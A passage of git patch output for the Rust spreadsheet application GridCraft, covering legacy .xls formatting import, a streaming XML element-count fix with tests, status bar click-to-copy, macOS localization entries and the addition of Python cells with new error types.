visibility, shared strings, numbers, text, booleans, errors, formulas (text for the common tokens, shared and array formulas, 3-D refs, names, newer functions called by name) with cached results, number formats (dates display as dates), cell formatting (fonts, solid and pattern fills, borders with diagonals, alignment with rotation, indent, wrap and shrink, locked and hidden, the custom colour palette, the Normal font as the workbook default, user-defined cell styles), 1904 date system, merges, column widths, row heights, defined names, print area and titles, calculation settings (mode, iteration with its maximum iterations and change, precision as displayed), sheet display options (right-to-left, gridlines, headings, zero values, formulas; a truncated WINDOW2 is ignored). Not read: exact colours beyond the 56-colour palette (XFExt: theme colours and tints show as the palette colour Excel stored next to them), rich-text runs inside a cell, charts, pictures, comments, CF, validation, hyperlinks, freeze panes, external links (formula kept as its value). Chart and macro sheets skipped with a warning; encrypted (FILEPASS) and BIFF5 (Excel 5.0/95) files refused with a message. Opens as a new unsaved workbook. Unverified on a real-world corpus | `xls_tests.rs`, `xls_style_tests.rs` | | `.xlt` Excel 97-2003 template | R/W | yes (read as `.xls`) | no | | — | | `.xlam` / `.xla` add-ins | R/W | no | no | VBA; out of scope | — | | `.xml` XML Spreadsheet 2003 | R/W | no | no | Simple to support | — | @@ -100,7 +100,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Real-world XLSX corpus run (craftrules test-corpora standard), and confirm Excel opens our output with no repair prompt (owner runs Excel) | 15–25 | | Preserve the rest of the unmodelled XLSX content (slicers, timelines, data model, table query tables, `extLst` entries); pass-through landed for the rest (#330) | 6–10 | | Streaming XLSX reader for very large files (#175), part-size limits that degrade instead of failing | 10–15 | -| Legacy `.xls` (BIFF8): styles (fonts, fills, borders, alignment), comments, CF, validation, pictures and charts on import; corpus run; then write | 10–15 | +| Legacy `.xls` (BIFF8): exact theme colours (XFExt), comments, CF, validation, pictures and charts on import; corpus run; then write | 10–15 | | Encrypted workbooks: save with password (#11) | 4–6 | | XLSB and ODS: formulas and formatting on import; then write | 10–15 | | CSV/text: encoding choice, `.prn`, `.dif`, `.slk`, XML Spreadsheet 2003 | 4–7 | @@ -132,6 +132,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | 2026-10-15 | minor | XLSX: formulas and PivotTable sources quote sheet names like Excel (a leading `.`, R1C1-like and cell-like names), so `'.x'!A1` no longer saves as `.x!A1`, which Excel could not open (#1458) | | 2026-10-15 | minor | XLSX text preserves CR and CRLF across save/reopen; shared strings use `_x000D_` and other XML text uses ` ` (#1488) | | 2026-10-15 | minor | XLSX save keeps legacy `INDEX`/`MATCH` formulas scalar instead of marking them as dynamic arrays (#1505) | +| 2026-10-14 | minor | `.xls` import reads cell formatting from the Font, XF, Palette and Style records: fonts, fills, borders, alignment, protection, the custom palette, the Normal font and user cell styles | | 2026-10-14 | trivial | Formula parser: text longer than Excel's 8,192 characters, and postfix chains (`1%%%…`, `f(1)(1)…`) past the 256-level nesting limit, are parse errors (the cell keeps its formula text and cached value) instead of trees deep enough to overflow the stack when a hostile file is opened, saved or dropped | | 2026-10-14 | minor | XLSX formulas read with dynamic-array metadata (`cm`) keep it on save, so Excel does not recalculate them with implicit intersection | | 2026-10-14 | minor | PDF export writes clickable annotations for safe cell URLs and destinations on printed pages; CLI `convert` accepts `.pdf` output (#954) | diff --git a/docs/gaps.md b/docs/gaps.md index b07727991..cfee087e3 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -72,14 +72,14 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- ### 7. Legacy `.xls` only partly read; encrypted workbooks can't be saved with a password (FF) - **Evidence:** #121: Excel 97-2003 (BIFF8) `.xls` files now open (values, formulas, number - formats, merges, sizes, names); fonts, fills, borders, charts, pictures, comments, conditional + formats, merges, sizes, names, and cell formatting: fonts, fills, borders, alignment); exact theme colours (XFExt), charts, pictures, comments, conditional formats, validation and BIFF5 files are not read, and `.xls` is never written. Password-encrypted `.xlsx` workbooks (Agile and Standard encryption) open with their password since #11, but are saved without it: GridCraft can't write an encrypted file yet. Encrypted `.xls` (FILEPASS) and RC4-encrypted files are still refused with a message. - **Impact:** common in finance, government and anything older than 2007; encrypted files are routine in business. -- **Estimate:** 14–21 h (`.xls` styles and objects 10–15, encryption 4–6). [file-format-parity.md](file-format-parity.md) +- **Estimate:** 12–18 h (`.xls` objects 8–12, encryption 4–6). [file-format-parity.md](file-format-parity.md) ### 8. PivotTables: no slicers, calculated items, PivotCharts; unverified in Excel (F) - **Evidence:** `parity-checklist.md` missing `insert.slicer`, `insert.timeline`, From ad2e3ac9de1a1ce011229a2c77924c8a201d8d51 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 23 Oct 2026 16:37:19 -0500 Subject: [PATCH 004/298] Check duplicate .xls style names in linear time --- crates/xlsx/src/xls/styles.rs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/xls/styles.rs b/crates/xlsx/src/xls/styles.rs index 6e254c20c..8bd4ca9f8 100644 --- a/crates/xlsx/src/xls/styles.rs +++ b/crates/xlsx/src/xls/styles.rs @@ -377,11 +377,18 @@ pub(super) fn build(r: &StyleRecords, formats: &HashMap, wb: &mut W // User-defined named styles. Excel 2007 and later write every built-in style into each .xls // (about fifty, their colours approximated to the palette); GridCraft defines those itself. let mut named: Vec<(String, Style)> = Vec::new(); + // Names are compared ASCII-case-insensitively; a set keeps a hostile file's many names linear. + let mut seen: std::collections::HashSet = std::collections::HashSet::from(["normal".to_string()]); for ns in &r.styles { - if ns.builtin.is_some() || ns.name.eq_ignore_ascii_case("Normal") || named.iter().any(|(n, _)| n.eq_ignore_ascii_case(&ns.name)) { + if ns.builtin.is_some() { + continue; + } + let key = ns.name.to_ascii_lowercase(); + if seen.contains(&key) { continue; } if let Some(xf) = r.xfs.get(usize::from(ns.ixf)) { + seen.insert(key); named.push((ns.name.clone(), xf_style(xf, &fonts, formats, &table))); } } From bf85ba482cfde3202595ffe8c85f0f71b9af2eab Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Sat, 24 Oct 2026 15:10:40 -0500 Subject: [PATCH 005/298] Align .xls estimate in gaps with file-format parity --- docs/gaps.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/gaps.md b/docs/gaps.md index cfee087e3..3e4cb4266 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -79,7 +79,7 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- RC4-encrypted files are still refused with a message. - **Impact:** common in finance, government and anything older than 2007; encrypted files are routine in business. -- **Estimate:** 12–18 h (`.xls` objects 8–12, encryption 4–6). [file-format-parity.md](file-format-parity.md) +- **Estimate:** 14–21 h (`.xls` objects 10–15, encryption 4–6). [file-format-parity.md](file-format-parity.md) ### 8. PivotTables: no slicers, calculated items, PivotCharts; unverified in Excel (F) - **Evidence:** `parity-checklist.md` missing `insert.slicer`, `insert.timeline`, From 0b7deaa3d80438cf4c5bf56988498e6fd8ca3b2b Mon Sep 17 00:00:00 2001 From: RedBearAK <64876997+RedBearAK@users.noreply.github.com> Date: Sat, 24 Oct 2026 17:32:33 -0800 Subject: [PATCH 006/298] XLSX: the XML element cap counts only elements kept in the tree `parse_streaming` counts every element it attaches to a parent against MAX_XML_NODES, but the cells of a worksheet are attached to their `row` while the row is open, and the row is then handed to the callback and dropped. So the count grew with every cell of a sheet although the tree never held more than one row, and a workbook with a sheet of about one million ordinary cells (12,274 rows by 103 columns) was reported damaged after 6,310 rows since #2413. Shared strings, streamed by `si`, had the same exposure: a table of about a million plain strings, or fewer rich-text ones. The count now returns to its value at the start of a split element when that element is handed out, so a streamed part of any size passes while a part that keeps a million elements in its tree is still refused. Regression test: 5,001 streamed rows of 100 cells are read whole; the same part kept in a tree is refused. Co-Authored-By: Claude Fable 5.1 --- crates/xlsx/src/xml.rs | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index e671d0adf..26178a570 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -230,8 +230,11 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res let mut root: Option = None; let mut buf = Vec::new(); // Elements kept in the tree so far, so a pathological part that passes the byte limits can - // still be refused before the tree itself outgrows memory. + // still be refused before the tree itself outgrows memory. Elements inside a `split` element + // are handed out with it and do not stay in the tree, so a streamed worksheet or shared-string + // table of any size passes: `kept_at_start` remembers the count when each open element began. let mut kept = 0usize; + let mut kept_at_start: Vec = Vec::new(); // Attach a finished element to its parent (or emit it / make it the root). fn finish( stack: &mut [El], @@ -240,11 +243,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res split: &[&str], cb: &mut dyn FnMut(El) -> Result<(), IoError>, kept: &mut usize, + kept_at_start: Option, ) -> Result<(), IoError> { match stack.last_mut() { Some(parent) => { if split.contains(&el.name.as_str()) { cb(el)?; + // The element and everything parsed inside it have left the tree. + if let Some(k) = kept_at_start { + *kept = k; + } } else { *kept = kept.saturating_add(1); if *kept > MAX_XML_NODES { @@ -269,14 +277,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res return Err(IoError::Xml("XML nested too deeply".into())); } stack.push(start_el(&e)); + kept_at_start.push(kept); } Event::Empty(e) => { let el = start_el(&e); - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + finish(&mut stack, &mut root, el, split, cb, &mut kept, None)?; } Event::End(_) => { if let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } } Event::Text(t) => { @@ -315,7 +325,8 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res } // Unclosed elements (truncated part): close them so we keep what we have. while let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } root.ok_or_else(|| IoError::Xml("no root element".into())) } @@ -495,6 +506,26 @@ mod tests { } } + #[test] + fn a_streamed_part_may_hold_more_elements_than_the_cap() { + // A worksheet of ordinary size: 5001 rows of 100 cells is 1,000,200 `c` and `v` elements, + // more than the cap, but the rows are streamed out one by one and never pile up in the + // tree, so the part is read whole. Kept in a tree (no split), the same part is refused. + let row = format!("{}", "1".repeat(100)); + let xml = format!("{}", row.repeat(5001)); + let mut rows = 0usize; + let root = parse_streaming(xml.as_bytes(), &["row"], &mut |r| { + assert_eq!(r.children.len(), 100); + rows += 1; + Ok(()) + }) + .unwrap(); + assert_eq!(rows, 5001); + assert!(root.children.is_empty()); + let err = parse(xml.as_bytes()).unwrap_err(); + assert!(err.to_string().contains("elements"), "{err}"); + } + #[test] fn a_part_of_endless_empty_elements_is_refused() { assert!(parse(b"").is_ok()); From 848b0e658a3bf622abae0c724fbba0358facd751 Mon Sep 17 00:00:00 2001 From: Dmussi Date: Sun, 25 Oct 2026 23:24:26 -0400 Subject: [PATCH 007/298] Click a status bar statistic to copy its value --- crates/ui-egui/src/tabs.rs | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index b2216ca93..79278a539 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -412,8 +412,18 @@ pub fn status_bar(app: &mut SheetApp, ui: &mut Ui) { } ui.add_space(16.0); // The layout runs right to left, so the last statistic is drawn first. + // Clicking a statistic copies its value (without the label) to the clipboard. for p in selection_statistics(app).into_iter().rev() { - text(ui, egui::RichText::new(p).font(theme::ui_font(12.5)).color(t.text_dim)); + let value = p.split_once(": ").map_or(p.as_str(), |(_, v)| v).to_owned(); + let resp = ui.add( + egui::Label::new(egui::RichText::new(p).font(theme::ui_font(12.5)).color(t.text_dim)).selectable(false).sense(Sense::click()), + ); + let resp = resp.on_hover_cursor(egui::CursorIcon::PointingHand).on_hover_text("Click to copy"); + if resp.clicked() { + ui.ctx().copy_text(value); + } + // The label senses clicks, so it also has to open the statistics menu on right-click. + resp.context_menu(|ui| status_bar_menu(app, ui)); ui.add_space(10.0); } }); From 8cfe970ff808f5cb108082ef961c23b903e1a9f4 Mon Sep 17 00:00:00 2001 From: Florent Siegenthaler <64897087+Atalantis@users.noreply.github.com> Date: Mon, 26 Oct 2026 09:24:52 +0100 Subject: [PATCH 008/298] Declare the UI languages to AppKit so the open and save panels are translated --- packaging/macos/Info.plist.in | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/packaging/macos/Info.plist.in b/packaging/macos/Info.plist.in index 4ed6d9766..ae96b7d59 100644 --- a/packaging/macos/Info.plist.in +++ b/packaging/macos/Info.plist.in @@ -6,6 +6,30 @@ CFBundleDevelopmentRegion en + + CFBundleLocalizations + + en + cs + de + el + es + fr + it + ja + ko + nl + pl + pt-BR + ro + ru + sr + tr + uk + vi + zh-Hans + CFBundleDisplayName GridCraft CFBundleName From 44c663aea20433afb65a9f731ed7067365d16d47 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 12:45:24 -0400 Subject: [PATCH 009/298] Model: Python cells, and the #PYTHON!, #BUSY!, #TIMEOUT! and #BLOCKED! errors Cell gains `py: Option>`, read with a serde default and not written for ordinary cells, so older native files load and ordinary cells serialize as before. PyCode holds the code, the return type (an Excel value or a Python object), the last result (value, type name, preview, whether it converted to cells) and a stale flag for manual calculation. The cell's `value` stays the cached result, so formulas, display and saving read a Python cell like any other. is_blank, CellStore::has and input_text (which returns the code) take the code into account; Cell::has_content and clear_content cover value, formula and code together. The model reads and writes the PY function's syntax as Microsoft documents it, PY("chunk"&"chunk",0|1), with string literals of at most 255 characters and the return type 0 for an Excel value, 1 for a Python object. The reader takes the `_xlfn._xlws.` prefix (and `_xlfn.` or `_xlws.` alone, in any letter case); to_file_formula writes it. (An xlsx file keeps the code in its Python part instead; the xlsx commit adds it.) The size limit is Excel's 8,192 characters for that formula, not a count of code characters: doubled quotes and the "&" between literals count, so code with many quotes fits in fewer characters (8,079 characters of plain code fit exactly). The model also finds the xl("...") literals in code, skipping comments and other strings; a plain literal may escape a quote or a backslash. A rewritten reference that holds the literal's quote (a sheet name that needs quotes, 'Q4 2026'!B2) takes the other quote as the literal's delimiter, or an escaped quote when it holds both, so it never ends the string early. Edits: cell.set over a Python cell, Clear Contents, Clear All and the cells a merge empties remove the code; Clear Formats keeps it. Copy and paste (All, Formulas), Fill, sort, cut-move, sheet copy and undo carry it; a cut to another sheet first qualifies its xl() references with the source sheet, as a moved formula's references are, so they keep reading the same cells. Paste Values and Paste Link do not carry it, and paste operations do not combine numbers with a Python cell. Fill copies Python cells instead of extending them as a series. cell.set with =PY(...) is refused with a message that points to python.set, and Text to Columns keeps a piece that reads as =PY(...) as text instead of clearing it. Goal Seek refuses a Python cell as its changing cell, and Solver as a variable cell, as both refuse formulas: the number written there would replace the code. The sheet-protection check compares the code, so a locked Python cell cannot be changed. cell.get reports {python: code, output, typeName, preview, stale}. The xl() literals follow reference-moving edits: rewrite_all_formulas (row and column insert and delete, cell insert and delete, cut-move), sheet rename and sheet delete adjust each literal like a formula reference, and replace it only when it changed. Errors: CellError gains Python, Busy, Timeout and Blocked, and ALL has 14 entries, so the lexer reads them as literals. ERROR.TYPE gives 11 for #BLOCKED!, the number Excel returns. Microsoft documents no ERROR.TYPE number for #PYTHON!, #BUSY! or #TIMEOUT!; they take 19, 20 and 21, after the numbers Excel is known to use. The xlsx writer caches the four as #VALUE!, as it already does #SPILL! and #CALC!, because they are not error codes of the file format. Tests cover the =PY refusal, removal by entry and clearing, undo, copy, paste values, fill and sort, xl() rewrites through row insert, sheet rename (also to names that need quotes, with one quote and with both), cut-move (also to another sheet) and column delete, Goal Seek and Solver refusing Python cells, Text to Columns keeping a =PY piece, native JSON round trips, the new errors, the prefixes, escaped quotes in literals, and the encoded size limit at 8,192 characters exactly and with doubled quotes. --- crates/core/src/value.rs | 27 +- crates/engine/src/cmd/analysis.rs | 4 +- crates/engine/src/cmd/data.rs | 11 +- crates/engine/src/cmd/edit.rs | 104 +++++- crates/engine/src/cmd/extra.rs | 1 + crates/engine/src/cmd/forecast.rs | 2 +- crates/engine/src/cmd/format.rs | 3 +- crates/engine/src/cmd/formulas.rs | 2 +- crates/engine/src/cmd/insert.rs | 7 +- crates/engine/src/cmd/inspect.rs | 9 +- crates/engine/src/cmd/mod.rs | 11 +- crates/engine/src/cmd/pivot.rs | 7 +- crates/engine/src/cmd/sheet.rs | 2 + crates/engine/src/cmd/solver.rs | 7 +- crates/engine/src/cmd/whatif.rs | 17 +- crates/engine/src/fill.rs | 17 +- crates/engine/src/io.rs | 20 +- crates/engine/src/pivot.rs | 5 +- crates/engine/src/tests.rs | 1 + crates/engine/src/tests/python_cells.rs | 229 +++++++++++++ crates/model/src/cell.rs | 33 +- crates/model/src/lib.rs | 2 + crates/model/src/python.rs | 437 ++++++++++++++++++++++++ crates/model/src/sheet.rs | 4 +- crates/model/src/store.rs | 2 +- crates/xlsx/src/csv.rs | 2 +- crates/xlsx/src/sheet_read.rs | 2 +- crates/xlsx/src/sheet_write.rs | 6 +- crates/xlsx/src/tests/locale_numfmt.rs | 2 +- crates/xlsx/src/tests/phonetic_tests.rs | 2 +- crates/xlsx/src/tests/pivot_tests.rs | 2 +- crates/xlsx/src/tests/roundtrip.rs | 4 +- crates/xlsx/src/xls/mod.rs | 10 +- 33 files changed, 913 insertions(+), 81 deletions(-) create mode 100644 crates/engine/src/tests/python_cells.rs create mode 100644 crates/model/src/python.rs diff --git a/crates/core/src/value.rs b/crates/core/src/value.rs index c531de4dc..459372d31 100644 --- a/crates/core/src/value.rs +++ b/crates/core/src/value.rs @@ -21,10 +21,18 @@ pub enum CellError { Calc, /// Circular reference that could not be resolved (shown as 0 by Excel; we keep it explicit). Circ, + /// A Python cell's code raised an error, or Python stopped. + Python, + /// A Python cell is waiting to run. + Busy, + /// A Python cell ran longer than the time limit. + Timeout, + /// Python can't run here: the workbook's content isn't enabled, or this build has no Python. + Blocked, } impl CellError { - pub const ALL: [CellError; 10] = [ + pub const ALL: [CellError; 14] = [ CellError::Null, CellError::Div0, CellError::Value, @@ -35,6 +43,10 @@ impl CellError { CellError::GettingData, CellError::Spill, CellError::Calc, + CellError::Python, + CellError::Busy, + CellError::Timeout, + CellError::Blocked, ]; pub fn as_str(&self) -> &'static str { match self { @@ -49,9 +61,16 @@ impl CellError { CellError::Spill => "#SPILL!", CellError::Calc => "#CALC!", CellError::Circ => "#CIRC!", + CellError::Python => "#PYTHON!", + CellError::Busy => "#BUSY!", + CellError::Timeout => "#TIMEOUT!", + CellError::Blocked => "#BLOCKED!", } } - /// `ERROR.TYPE` number. + /// `ERROR.TYPE` number. Microsoft documents 1 to 8; 9 (#SPILL!), 11 (#BLOCKED!) and 14 (#CALC!) + /// are the numbers Excel returns. Microsoft documents no number for #PYTHON!, #BUSY! or + /// #TIMEOUT!: 19, 20 and 21 are GridCraft's own choice, after the numbers Excel is known to use, + /// and may change if Excel's numbers become known. pub fn code(&self) -> u32 { match self { CellError::Null => 1, @@ -65,6 +84,10 @@ impl CellError { CellError::Spill => 9, CellError::Calc => 14, CellError::Circ => 15, + CellError::Blocked => 11, + CellError::Python => 19, + CellError::Busy => 20, + CellError::Timeout => 21, } } pub fn parse(s: &str) -> Option { diff --git a/crates/engine/src/cmd/analysis.rs b/crates/engine/src/cmd/analysis.rs index 6225b4934..ffcbccf94 100644 --- a/crates/engine/src/cmd/analysis.rs +++ b/crates/engine/src/cmd/analysis.rs @@ -1124,13 +1124,13 @@ fn write_report(s: &mut Session, p: &Json, tool: &str, g: Grid) -> Result let sh = cx.sheet_mut(si)?; for c in &occupied { let style = sh.style_id(*c); - sh.set_cell(*c, Cell { value: Value::Empty, formula: None, style }); + sh.set_cell(*c, Cell { value: Value::Empty, formula: None, style, py: None }); } let mut touched = occupied.clone(); for ((r, c), v) in &g.cells { let cell = CellRef::new(at.row + r, at.col + c); let style = pct_styles.get(&cell).copied().unwrap_or_else(|| sh.style_id(cell)); - sh.set_cell(cell, Cell { value: v.clone(), formula: None, style }); + sh.set_cell(cell, Cell { value: v.clone(), formula: None, style, py: None }); touched.push(cell); } for c in touched { diff --git a/crates/engine/src/cmd/data.rs b/crates/engine/src/cmd/data.rs index fcab9db71..0c255a689 100644 --- a/crates/engine/src/cmd/data.rs +++ b/crates/engine/src/cmd/data.rs @@ -976,7 +976,16 @@ fn text_to_columns(s: &mut Session, p: &Json) -> Result { } } for (c, t) in out { - let cell = super::edit::input_to_cell(&t, sheet, c, &mut cx.wb).unwrap_or(None); + let cell = match super::edit::input_to_cell(&t, sheet, c, &mut cx.wb) { + Ok(cell) => cell, + // `=PY(…)` doesn't make a Python cell (that takes python.set): the piece is kept + // as text rather than lost. + Err(_) if gridcraft_model::python::is_py_formula(&t) => { + let style = cx.wb.sheet(sheet).map(|sh| sh.style_id(c)).unwrap_or_default(); + Some(Cell { value: Value::text(t.as_str()), formula: None, style, py: None }) + } + Err(_) => None, + }; let shm = cx.sheet_mut(sheet)?; match cell { Some(x) => shm.set_cell(c, x), diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 28ce338d6..64b26b022 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -118,24 +118,30 @@ pub fn specs() -> Vec { // ---------------------------------------------------------------- entry +/// Typing `=PY(` doesn't make a Python cell; this says what does. +pub(crate) const PY_FORMULA: &str = "Python cells are made with the python.set command (the code as `code`), not by typing =PY(…)."; + /// What typing `input` into a cell produces (constant or formula, plus an automatic number /// format). Inherits the destination's cell, row or column style, including its number /// format, before parsing. Errors when the formula can't be parsed. pub(crate) fn input_to_cell(input: &str, sheet: usize, at: CellRef, wb: &mut gridcraft_model::Workbook) -> Result> { let style = wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(); if input.is_empty() { - let c = Cell { value: Value::Empty, formula: None, style }; + let c = Cell { value: Value::Empty, formula: None, style, py: None }; return Ok(if c.is_blank() { None } else { Some(c) }); } let fmt_is_text = wb.styles.get(style).num_fmt.as_str() == "@"; if fmt_is_text { - return Ok(Some(Cell { value: Value::text(input), formula: None, style })); + return Ok(Some(Cell { value: Value::text(input), formula: None, style, py: None })); } let is_formula = input.starts_with('=') || (input.len() > 1 && (input.starts_with('+') || input.starts_with('-')) && gridcraft_core::parse::parse_number_text(input).is_none() && input.chars().nth(1).is_some_and(|c| c.is_ascii_alphabetic() || c == '(')); + if is_formula && gridcraft_model::python::is_py_formula(input) { + return Err(EngineError::Other(PY_FORMULA.into())); + } if is_formula { let body = input.strip_prefix('=').unwrap_or(input); let expr = wb.name_call_case(parse_typed_formula(body)?); @@ -187,7 +193,7 @@ pub(crate) fn input_to_cell(input: &str, sheet: usize, at: CellRef, wb: &mut gri if input.contains('\n') && !wb.styles.get(style).align.wrap { style = wb.styles.derive(style, |s| s.align.wrap = true); } - Ok(Some(Cell { value: parsed.value, formula: None, style })) + Ok(Some(Cell { value: parsed.value, formula: None, style, py: None })) } /// Parses a formula as it is typed (without the `=`). Excel closes missing parentheses for you, @@ -255,7 +261,7 @@ fn cell_set(s: &mut Session, p: &Json) -> Result { let sh = cx.sheet_mut(sheet)?; // The array takes the whole range: other cells in it lose their contents. for c in range.iter().skip(1).take(1_000_000) { - if let Some(old) = sh.cells.get(c).filter(|x| !x.value.is_empty() || x.formula.is_some()) { + if let Some(old) = sh.cells.get(c).filter(|x| x.has_content()) { let style = old.style; sh.set_cell(c, Cell { style, ..Cell::default() }); } @@ -327,10 +333,14 @@ fn range_set_values(s: &mut Session, p: &Json) -> Result { value: Value::number(n.as_f64().unwrap_or(0.0)), formula: None, style: cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(), + py: None, + }), + Json::Bool(b) => Some(Cell { + value: Value::Bool(*b), + formula: None, + style: cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(), + py: None, }), - Json::Bool(b) => { - Some(Cell { value: Value::Bool(*b), formula: None, style: cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default() }) - } // Text as given: no date or number reading, and a leading `'` is part of the // text rather than the marker that makes it text. A formula is still a // formula, which is what the ticket asks for and what `=` means in a cell. @@ -340,7 +350,7 @@ fn range_set_values(s: &mut Session, p: &Json) -> Result { if text.contains('\n') && !cx.wb.styles.get(style).align.wrap { style = cx.wb.styles.derive(style, |s| s.align.wrap = true); } - Some(Cell { value: Value::Text(text.as_str().into()), formula: None, style }) + Some(Cell { value: Value::Text(text.as_str().into()), formula: None, style, py: None }) } _ => input_to_cell(&input, sheet, at, &mut cx.wb)?, }; @@ -743,8 +753,8 @@ fn go_to_special(s: &mut Session, p: &Json) -> Result { let v = sheet.value(c); let ok = match kind { "blanks" => v.is_empty(), - "constants" => cell.is_some_and(|x| x.formula.is_none() && !x.value.is_empty()), - "formulas" => cell.is_some_and(|x| x.formula.is_some()), + "constants" => cell.is_some_and(|x| x.formula.is_none() && x.py.is_none() && !x.value.is_empty()), + "formulas" => cell.is_some_and(|x| x.formula.is_some() || x.py.is_some()), "comments" | "notes" => sheet.comments.contains_key(&c), "errors" => v.is_error(), "numbers" => v.is_number(), @@ -920,7 +930,7 @@ fn slide_together(wb: &gridcraft_model::Workbook, sheet: usize, areas: &[RangeRe for c in cells { let Some(to) = c.offset(dr, dc) else { continue }; let style = src.cell(c).map(|x| x.style).unwrap_or_default(); - dst.set_cell(to, Cell { value: src.value(c), formula: None, style }); + dst.set_cell(to, Cell { value: src.value(c), formula: None, style, py: None }); if let Some(picture) = src.cell_pictures.get(&c) { dst.cell_pictures.insert(to, picture.clone()); } @@ -1183,7 +1193,11 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { }; let src_val = src_sheet.value(sc); let src_picture = if cut_move { moved_pictures.get(&sc) } else { src_sheet.cell_pictures.get(&sc) }.cloned(); - if skip_blanks && src_picture.is_none() && src_val.is_empty() && src_cell.as_ref().is_none_or(|x| x.formula.is_none()) { + if skip_blanks + && src_picture.is_none() + && src_val.is_empty() + && src_cell.as_ref().is_none_or(|x| x.formula.is_none() && x.py.is_none()) + { continue; } let old = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell(dest)).cloned().unwrap_or_default(); @@ -1218,6 +1232,30 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { gridcraft_formula::adjust::shift_relative(e, dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64); Some(std::sync::Arc::new(Formula { dynamic: f.dynamic, ..Formula::from_expr(moved) })) }; + // A Python cell's code travels with it. Cut to another sheet, it keeps + // reading the cells its `xl()` references named on its original sheet, as + // a moved formula does: they are qualified with that sheet before the + // workbook-wide move adjustment below. + let moved_py = |cell: &Cell| -> Option> { + let py = cell.py.clone()?; + if !cut_move || dest_sheet == clip.sheet { + return Some(py); + } + let qualified = gridcraft_model::python::rewrite_xl(&py.code, |reference| { + let e = gridcraft_formula::parse(reference).ok()?.map(&mut |x| match x { + gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => { + r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone()); + gridcraft_formula::Expr::Ref(r) + } + other => other, + }); + Some(gridcraft_formula::print(&e)) + }); + Some(match qualified { + Some(code) => std::sync::Arc::new(gridcraft_model::PyCode { code, ..(*py).clone() }), + None => py, + }) + }; if link { let sheet_prefix = if dest_sheet == clip.sheet && same_doc { String::new() @@ -1226,6 +1264,7 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { }; new.formula = Some(std::sync::Arc::new(Formula::new(&format!("={sheet_prefix}{}", sc.a1())))); new.value = Value::Empty; + new.py = None; new_picture = None; } else { let sc_cell = src_cell.clone().unwrap_or_default(); @@ -1234,6 +1273,7 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { new_picture = src_picture.clone(); new.formula = shift(&sc_cell); new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() }; + new.py = moved_py(&sc_cell); let st = map_style(sc_cell.style, &mut cx.wb); new.style = if what == What::AllExceptBorders { let borders = cx.wb.styles.get(old.style).borders; @@ -1246,6 +1286,7 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { new_picture = src_picture.clone(); new.formula = shift(&sc_cell); new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() }; + new.py = moved_py(&sc_cell); if what == What::FormulasAndNumberFormats { let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone(); new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf); @@ -1254,6 +1295,7 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { What::Values | What::ValuesAndNumberFormats => { new_picture = src_picture.clone(); new.formula = None; + new.py = None; new.value = src_val.clone(); if what == What::ValuesAndNumberFormats { let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone(); @@ -1267,6 +1309,7 @@ fn paste_special(s: &mut Session, p: &Json) -> Result { if op != "none" && matches!(what, What::All | What::Values | What::ValuesAndNumberFormats | What::Formulas) && new.formula.is_none() + && new.py.is_none() { if old_picture.is_some() || new_picture.is_some() { new_picture = None; @@ -1443,6 +1486,42 @@ pub(crate) fn rewrite_all_formulas(wb: &mut 